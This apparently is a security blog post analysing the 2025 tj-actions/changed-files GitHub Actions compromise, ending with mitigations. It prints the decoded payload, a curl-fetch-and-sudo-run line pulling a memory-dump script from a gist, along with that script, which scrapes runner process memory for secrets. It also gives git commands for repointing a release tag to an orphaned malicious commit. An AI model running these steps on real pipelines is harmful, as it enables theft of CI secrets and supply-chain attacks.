Decoding the GitHub Actions Compromise of tj-actions/changed-files

On Friday, March 14, 2025, a critical security vulnerability was discovered in the popular GitHub Action, tj-actions/changed-files, impacting approximately 23,000 repositories. This action, used for tracking file changes across branches and commits, was exploited to expose encrypted secrets in plaintext within GitHub Action logs, potentially leading to a widespread data breach. This post delves into the vulnerability's technical details, the attacker's methods, and crucial steps for remediation.

Key Enabling Factors

While the attacker's initial write access to the repository remains unexplained, two critical factors enabled the successful attack:

• Modifying existing release tags: The attacker altered existing release tags to point to a malicious, orphaned commit.
• Orphaned Git commit: The malicious commit was orphaned—detached from any branches, including the main branch—adding an extra layer of obfuscation.

This clever approach masked the attack initially. The exploit relied on an external network call to fetch the malicious code, triggering alerts from services monitoring anomalous network activity.

Understanding Orphaned Git Commits

An orphaned commit is a commit that's not associated with any branch. To illustrate:

1. Create a GitHub repository.
2. Clone it locally, add a branch (orphan), make a commit, and push it to GitHub.
3. Note the commit hash. Delete the remote branch orphan. The commit remains accessible via its hash, even though it is no longer on any branch.

Code example (steps 2 and 3):

git checkout -b orphan
echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan
git push origin :orphan

[](https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5w2upxa06du198cydfp.png)
[](https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fymwog4vfcota2nyqtp0m.png)
[](https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdf81ab7gthiafv7jftx4.png)

GitHub Release Tags

GitHub release tags are simply pointers to commits. The attacker leveraged this by redirecting existing tags to the malicious, orphaned commit.

Example .github/workflows/main.yml file referencing tj-actions/changed-files@v35:

name: "tj-action changed-files"on:
  pull_request:
    branches:
      - mainpermissions:
  pull-requests: readjobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

[](https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi1ktuj8jeefwnax96x4.png)

Leaking Secrets

The attack involved the malicious changed-files Action downloading and executing a script that extracted secrets from the system memory. The script used sudo, indicating privilege escalation. Crucially, the script used base64 encoding to obfuscate its function, which was later reversed to reveal the underlying code.

Here is the Base64 decoded script portion:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^\"]+\":{\"value":"[^\"]*\",\"isSecret\":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

The referenced Python script (from the since-removed gist) extracted secrets from memory using process information. This is a particularly damaging attack because public GitHub Actions logs are, by design, public.

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Exploit Demonstration

To better understand the exploit, two repositories were created:

• snyk-labs/tj-changed-files-action-goof: Contains a custom GitHub Action.
• snyk-labs/tj-changed-files-action-exploit-goof: A repository using the custom action and containing a secret.

The custom action's index.js:

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(
`Hello 
${nameToGreet}!
`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

The exploit repository's .github/workflows/main.yml:

name: CI
on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: 
${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was 
${{ steps.goof.outputs.time }}
"

The compromised action output:

SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Base64 decoding twice reveals: "A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

[](https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhr9rv0g3xcl6fbkgn5p.png)

The v1.0 tag was manipulated to point to an orphaned branch containing the malicious code. This was done using ncc to build the code separately and commit only the built output. The attack branch was subsequently deleted, leaving only the orphaned commit accessible via the tag.

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

Mitigation Strategies

1. Reference commits directly: Instead of tags, use commit hashes (e.g., uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5) to ensure version consistency.
2. Monitor network calls: Implement mechanisms to detect and flag unexpected network activity within your GitHub Actions workflows. Services like StepSecurity can assist with this.

This incident highlights the importance of securing GitHub Actions workflows and carefully managing dependencies. Proactive monitoring, robust security practices, and dependency management are key to preventing future compromises.